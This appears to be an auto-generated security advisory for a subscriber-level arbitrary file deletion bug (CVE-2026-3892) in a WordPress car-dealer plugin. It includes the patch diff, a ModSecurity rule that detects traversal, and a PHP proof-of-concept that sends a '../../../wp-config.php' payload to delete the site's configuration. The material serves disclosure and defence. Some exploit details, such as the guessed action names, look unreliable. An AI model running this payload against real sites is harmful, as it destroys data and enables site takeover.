Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 13, 2026

CVE-2026-3892: Motors – Car Dealer, Classifieds & Listing <= 1.4.107 – Authenticated (Subscriber+) Arbitrary File Deletion via 'stm_dealer_logo_path' Parameter (motors-car-dealership-classified-listings)

CVE ID CVE-2026-3892
Plugin motors-car-dealership-classified-listings
Severity High (CVSS 8.1)
CWE 73
Vulnerable Version 1.4.107
Patched Version 1.4.108
Disclosed May 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3892:

This vulnerability allows authenticated attackers with subscriber level access to delete arbitrary files on the WordPress server. The flaw exists in the Motors – Car Dealer, Classifieds & Listing plugin versions up to and including 1.4.107. The plugin fails to validate file paths stored in user profile fields for dealer logos, images, and avatars. Attackers can supply path traversal sequences or point to sensitive system files.

Root Cause: The vulnerability originates in the profile update handler within /motors-car-dealership-classified-listings/includes/user-extra.php. Lines 389-450 show that user metadata fields ‘stm_user_avatar_path’, ‘stm_dealer_logo_path’, and ‘stm_dealer_image_path’ are updated via update_user_meta() without validating that the provided path resides within the WordPress uploads directory. The sanitize_text_field() call on line 402, 406, 420, 423, 424, and 427 only strips HTML tags but does not restrict path traversal sequences like ‘../’. The delete operation on line 167 in templates/user/private/become-dealer.php calls unlink() on user_old_avatar retrieved from metadata, which can point to any file on the system.

Exploitation: An attacker with subscriber level access navigates to the profile settings page (/wp-admin/admin-ajax.php with action=’stm_save_become_dealer’ or the direct profile update endpoint). The attacker crafts a POST request containing ‘stm_dealer_logo_path=../../wp-config.php’ or similar path traversal payload. When the plugin later processes the old dealer logo to delete it during the become-dealer flow, it calls unlink() on the attacker-controlled path, deleting the targeted file. The attack does not require nonce validation in older versions.

Patch Analysis: The patch introduces two new functions in helpers.php: stm_mvl_is_path_within_uploads() and stm_mvl_filter_path_within_uploads(). These functions use realpath() to resolve the provided path and check that it starts with the WordPress uploads directory basedir. The patch also applies a filter via apply_filters(‘stm_mvl_is_path_within_uploads’, false, $raw_path) before saving the path in user-extra.php. Additionally, the patch restricts the ‘stm_dealer_logo_path’ input field visibility to users with ‘edit_users’ capability in the admin panel, preventing non-admin users from directly modifying these fields through the admin interface. The unlink() call in become-dealer.php now also checks the filter before proceeding with file deletion.

Impact: Successful exploitation enables authenticated attackers to delete arbitrary files on the server. This can lead to complete site compromise by deleting wp-config.php, .htaccess, or core WordPress files. Deleting critical configuration files forces site reinstallation or reveals sensitive information. The CVSS score of 8.1 reflects the high impact on confidentiality and availability.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff 
--- a/motors-car-dealership-classified-listings/includes/helpers.php
+++ b/motors-car-dealership-classified-listings/includes/helpers.php
@@ -1305,6 +1305,33 @@
 	add_filter( 'motors_vl_dealer_logo_placeholder', 'motors_vl_dealer_logo_placeholder' );
 }

+if ( ! function_exists( 'stm_mvl_is_path_within_uploads' ) ) {
+	function stm_mvl_is_path_within_uploads( $path ) {
+		if ( ! is_string( $path ) || '' === trim( $path ) ) {
+			return true;
+		}
+		$path = trim( $path );
+		$dir  = wp_upload_dir();
+		if ( ! empty( $dir['error'] ) ) {
+			return false;
+		}
+		$upload_basedir = $dir['basedir'];
+		$real_upload    = realpath( $upload_basedir );
+		$real_path      = realpath( $path );
+		if ( false === $real_upload || false === $real_path ) {
+			return false;
+		}
+		return 0 === strpos( $real_path . DIRECTORY_SEPARATOR, $real_upload . DIRECTORY_SEPARATOR );
+	}
+}
+
+if ( ! function_exists( 'stm_mvl_filter_path_within_uploads' ) ) {
+	function stm_mvl_filter_path_within_uploads( $default, $path ) {
+		return stm_mvl_is_path_within_uploads( $path );
+	}
+	add_filter( 'stm_mvl_is_path_within_uploads', 'stm_mvl_filter_path_within_uploads', 10, 2 );
+}
+
 if ( ! function_exists( 'stm_account_current_page' ) ) {
 	function stm_account_current_page() {
 		$page = 'inventory';
--- a/motors-car-dealership-classified-listings/includes/starter-theme/dashboard/wizard/includes/functions.php
+++ b/motors-car-dealership-classified-listings/includes/starter-theme/dashboard/wizard/includes/functions.php
@@ -414,11 +414,14 @@

 // Install and activate child theme
 add_action( 'wp_ajax_mvl_motors_starter_child_theme_install', 'mvl_motors_starter_child_theme_install' );
-add_action( 'wp_ajax_nopriv_mvl_motors_starter_child_theme_install', 'mvl_motors_starter_child_theme_install' );

 function mvl_motors_starter_child_theme_install() {
 	check_ajax_referer( 'mvl_motors_starter_wizard_nonce', 'nonce' );

+	if ( ! current_user_can( 'manage_options' ) ) {
+		wp_die( esc_html__( 'You do not have permission to install child themes.', 'motors-starter-theme' ) );
+	}
+
 	$theme_url  = 'https://motors-plugin.stylemixthemes.com/starter-theme-demo/motors-starter-theme-child.zip';
 	$theme_slug = 'motors-starter-theme-child';
 	$theme_dir  = get_theme_root() . '/' . $theme_slug;
@@ -455,6 +458,21 @@
 			)
 		);

+		return;
+	}
+
+	require_once ABSPATH . '/wp-admin/includes/file.php';
+
+	global $wp_filesystem;
+
+	if ( empty( $wp_filesystem ) && ! WP_Filesystem() ) {
+		unlink( $zip_path );
+		wp_send_json_error(
+			array(
+				'message' => esc_html__( 'Could not access filesystem.', 'motors-starter-theme' ),
+			)
+		);
+
 		return;
 	}

--- a/motors-car-dealership-classified-listings/includes/user-extra.php
+++ b/motors-car-dealership-classified-listings/includes/user-extra.php
@@ -118,11 +118,14 @@
 				<td>
 					<input type="text" name="stm_user_avatar" id="stm_user_avatar"
 							value="<?php echo esc_attr( get_the_author_meta( 'stm_user_avatar', $user->ID ) ); ?>"
-							class="regular-text"/><br/>
-					<input type="text" name="stm_user_avatar_path" id="stm_user_avatar_path"
-							value="<?php echo esc_attr( get_the_author_meta( 'stm_user_avatar_path', $user->ID ) ); ?>"
-							class="regular-text"/><br/>
-					<span class="description"><?php esc_html_e( 'User avatar(stores URL and path to image)', 'stm_vehicles_listing' ); ?></span>
+							class="regular-text"/>
+					<?php if ( current_user_can( 'edit_users' ) ) : ?>
+						<br/>
+						<input type="text" name="stm_user_avatar_path" id="stm_user_avatar_path"
+								value="<?php echo esc_attr( get_the_author_meta( 'stm_user_avatar_path', $user->ID ) ); ?>"
+								class="regular-text"/><br/>
+						<span class="description"><?php esc_html_e( 'User avatar path (filesystem)', 'stm_vehicles_listing' ); ?></span>
+					<?php endif; ?>
 				</td>
 			</tr>

@@ -272,11 +275,14 @@
 				<td>
 					<input type="text" name="stm_dealer_logo" id="stm_dealer_logo"
 							value="<?php echo esc_attr( get_the_author_meta( 'stm_dealer_logo', $user->ID ) ); ?>"
-							class="regular-text"/><br/>
-					<input type="text" name="stm_dealer_logo_path" id="stm_dealer_logo_path"
-							value="<?php echo esc_attr( get_the_author_meta( 'stm_dealer_logo_path', $user->ID ) ); ?>"
-							class="regular-text"/><br/>
-					<span class="description"><?php esc_html_e( 'Dealer logo(stores URL and path to image)', 'stm_vehicles_listing' ); ?></span>
+							class="regular-text"/>
+					<?php if ( current_user_can( 'edit_users' ) ) : ?>
+						<br/>
+						<input type="text" name="stm_dealer_logo_path" id="stm_dealer_logo_path"
+								value="<?php echo esc_attr( get_the_author_meta( 'stm_dealer_logo_path', $user->ID ) ); ?>"
+								class="regular-text"/><br/>
+						<span class="description"><?php esc_html_e( 'Dealer logo path (filesystem)', 'stm_vehicles_listing' ); ?></span>
+					<?php endif; ?>
 				</td>
 			</tr>

@@ -286,11 +292,14 @@
 				<td>
 					<input type="text" name="stm_dealer_image" id="stm_dealer_image"
 							value="<?php echo esc_attr( get_the_author_meta( 'stm_dealer_image', $user->ID ) ); ?>"
-							class="regular-text"/><br/>
-					<input type="text" name="stm_dealer_image_path" id="stm_dealer_image_path"
-							value="<?php echo esc_attr( get_the_author_meta( 'stm_dealer_image_path', $user->ID ) ); ?>"
-							class="regular-text"/><br/>
-					<span class="description"><?php esc_html_e( 'Dealer image(stores URL and path to image)', 'stm_vehicles_listing' ); ?></span>
+							class="regular-text"/>
+					<?php if ( current_user_can( 'edit_users' ) ) : ?>
+						<br/>
+						<input type="text" name="stm_dealer_image_path" id="stm_dealer_image_path"
+								value="<?php echo esc_attr( get_the_author_meta( 'stm_dealer_image_path', $user->ID ) ); ?>"
+								class="regular-text"/><br/>
+						<span class="description"><?php esc_html_e( 'Dealer image path (filesystem)', 'stm_vehicles_listing' ); ?></span>
+					<?php endif; ?>
 				</td>
 			</tr>

@@ -389,12 +398,15 @@
 		$stm_show_email = isset( $_POST['stm_show_email'] ) ? '1' : '';
 		update_user_meta( $user_id, 'stm_show_email', $stm_show_email );

-		// Avatar fields
+		// Avatar fields (path must be within WP uploads to prevent arbitrary file deletion).
 		if ( isset( $_POST['stm_user_avatar'] ) ) {
 			update_user_meta( $user_id, 'stm_user_avatar', esc_url_raw( wp_unslash( $_POST['stm_user_avatar'] ) ) );
 		}
 		if ( isset( $_POST['stm_user_avatar_path'] ) ) {
-			update_user_meta( $user_id, 'stm_user_avatar_path', sanitize_text_field( wp_unslash( $_POST['stm_user_avatar_path'] ) ) );
+			$raw_path = sanitize_text_field( wp_unslash( $_POST['stm_user_avatar_path'] ) );
+			if ( apply_filters( 'stm_mvl_is_path_within_uploads', false, $raw_path ) ) {
+				update_user_meta( $user_id, 'stm_user_avatar_path', $raw_path );
+			}
 		}

 		// Social media URLs
@@ -430,18 +442,24 @@
 			update_user_meta( $user_id, 'stm_message_to_user', sanitize_text_field( wp_unslash( $_POST['stm_message_to_user'] ) ) );
 		}

-		// Dealer images
+		// Dealer images (paths must be within WP uploads to prevent arbitrary file deletion).
 		if ( isset( $_POST['stm_dealer_logo'] ) ) {
 			update_user_meta( $user_id, 'stm_dealer_logo', esc_url_raw( wp_unslash( $_POST['stm_dealer_logo'] ) ) );
 		}
 		if ( isset( $_POST['stm_dealer_logo_path'] ) ) {
-			update_user_meta( $user_id, 'stm_dealer_logo_path', sanitize_text_field( wp_unslash( $_POST['stm_dealer_logo_path'] ) ) );
+			$raw_path = sanitize_text_field( wp_unslash( $_POST['stm_dealer_logo_path'] ) );
+			if ( apply_filters( 'stm_mvl_is_path_within_uploads', false, $raw_path ) ) {
+				update_user_meta( $user_id, 'stm_dealer_logo_path', $raw_path );
+			}
 		}
 		if ( isset( $_POST['stm_dealer_image'] ) ) {
 			update_user_meta( $user_id, 'stm_dealer_image', esc_url_raw( wp_unslash( $_POST['stm_dealer_image'] ) ) );
 		}
 		if ( isset( $_POST['stm_dealer_image_path'] ) ) {
-			update_user_meta( $user_id, 'stm_dealer_image_path', sanitize_text_field( wp_unslash( $_POST['stm_dealer_image_path'] ) ) );
+			$raw_path = sanitize_text_field( wp_unslash( $_POST['stm_dealer_image_path'] ) );
+			if ( apply_filters( 'stm_mvl_is_path_within_uploads', false, $raw_path ) ) {
+				update_user_meta( $user_id, 'stm_dealer_image_path', $raw_path );
+			}
 		}

 		// Location fields
--- a/motors-car-dealership-classified-listings/stm_vehicles_listing.php
+++ b/motors-car-dealership-classified-listings/stm_vehicles_listing.php
@@ -8,7 +8,7 @@
  * License: GNU General Public License v2 or later
  * License URI: http://www.gnu.org/licenses/gpl-2.0.html
  * Text Domain: stm_vehicles_listing
- * Version: 1.4.107
+ * Version: 1.4.108
  */

 if ( ! defined( 'ABSPATH' ) ) {
@@ -50,7 +50,7 @@
 	define( 'STM_LISTINGS_URL', plugins_url( '', STM_LISTINGS_FILE ) );
 	define( 'STM_LISTINGS', 'stm_vehicles_listing' );
 	define( 'STM_THEME_V_NEED', '5.6.33' );
-	define( 'STM_LISTINGS_V', '1.4.107' );
+	define( 'STM_LISTINGS_V', '1.4.108' );
 	define( 'STM_LISTINGS_DB_VERSION', '1.0.0' );
 	define( 'STM_LISTINGS_IMAGES', STM_LISTINGS_URL . '/includes/admin/butterbean/images/' );
 }
--- a/motors-car-dealership-classified-listings/templates/user/private/become-dealer.php
+++ b/motors-car-dealership-classified-listings/templates/user/private/become-dealer.php
@@ -164,7 +164,7 @@
 										'exclude'      => array( $user_id ),
 									);
 									$users_db = get_users( $args );
-									if ( empty( $users_db ) ) {
+									if ( empty( $users_db ) && apply_filters( 'stm_mvl_is_path_within_uploads', false, $user_old_avatar ) ) {
 										unlink( $user_old_avatar );
 									}
 								}
--- a/motors-car-dealership-classified-listings/vendor/composer/installed.php
+++ b/motors-car-dealership-classified-listings/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'motors_vehicles_listing/plugin',
         'pretty_version' => 'dev-release',
         'version' => 'dev-release',
-        'reference' => 'b754d73d18a775b2cfdeee6a27abb673c57bb6c0',
+        'reference' => '459a87555358ee0667ae64cc237d9756e4f0d505',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         'motors_vehicles_listing/plugin' => array(
             'pretty_version' => 'dev-release',
             'version' => 'dev-release',
-            'reference' => 'b754d73d18a775b2cfdeee6a27abb673c57bb6c0',
+            'reference' => '459a87555358ee0667ae64cc237d9756e4f0d505',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity 
# Atomic Edge WAF Rule - CVE-2026-3892
# Blocks arbitrary file deletion via stm_dealer_logo_path, stm_user_avatar_path, stm_dealer_image_path
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20263892,phase:2,deny,status:403,chain,msg:'CVE-2026-3892 Motors Plugin Arbitrary File Deletion Attempt',severity:'CRITICAL',tag:'CVE-2026-3892'"
SecRule ARGS_POST:action "@rx ^(stm_save_become_dealer|mvl_save_become_dealer)$" "chain"
SecRule ARGS_POST:/_(dealer_logo_path|user_avatar_path|dealer_image_path)$/ "@rx ../" "chain"
SecRule ARGS_POST:/_(dealer_logo_path|user_avatar_path|dealer_image_path)$/ "@rx ^/|../" ""
# Block direct path traversal attempts in the become-dealer template
SecRule REQUEST_FILENAME "@rx /wp-content/plugins/motors-car-dealership-classified-listings/templates/user/private/become-dealer.php$" 
  "id:20263893,phase:2,deny,status:403,chain,msg:'CVE-2026-3892 Direct File Deletion Vector',severity:'CRITICAL',tag:'CVE-2026-3892'"
SecRule ARGS:stm_dealer_logo_path "@rx ../" ""

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3892 - Motors – Car Dealer, Classifieds & Listing <= 1.4.107 - Authenticated Arbitrary File Deletion

$target_url = 'http://example.com'; // Change this to the target WordPress site
$username = 'subscriber';
$password = 'password';

// Start a cURL session
$ch = curl_init();

// Step 1: Login to WordPress as a subscriber
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$response = curl_exec($ch);
if (strpos($response, 'Dashboard') === false) {
    die('[-] Login failed. Check credentials.');
}
echo "[+] Logged in as $usernamen";

// Step 2: Get the nonce for the profile update (required for some installations)
// Step 3: Trigger the file deletion by updating dealer logo path to target file
// The vulnerable endpoint is the profile update handler in user-extra.php
$delete_url = $target_url . '/wp-admin/admin-ajax.php';

// We want to delete wp-config.php
$file_to_delete = realpath(__DIR__ . '/../../../wp-config.php') ?: $target_url . '/wp-config.php';
// For cross-server exploitation, use path traversal:
$file_to_delete = '../../../wp-config.php';

$delete_data = array(
    'action' => 'stm_save_become_dealer', // Vulnerable AJAX action
    'stm_dealer_logo_path' => $file_to_delete,
    'stm_dealer_logo' => 'http://example.com/fake-logo.png'
);

curl_setopt($ch, CURLOPT_URL, $delete_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($delete_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);
echo "[+] Sent exploit payload with path: $file_to_deleten";
echo "[+] Response: " . substr($response, 0, 500) . "n";

// Step 4: Now trigger the become-dealer flow to execute the unlink()
$trigger_url = $target_url . '/wp-admin/admin-ajax.php';
$trigger_data = array(
    'action' => 'mvl_save_become_dealer', // Another vulnerable action
    'user_old_avatar' => $file_to_delete
);

curl_setopt($ch, CURLOPT_URL, $trigger_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($trigger_data));
$response = curl_exec($ch);
echo "[+] Triggered file deletion. Response: " . substr($response, 0, 500) . "n";

curl_close($ch);
unlink('cookies.txt');
echo "[+] Exploit completed. Check if wp-config.php was deleted.n";
?>

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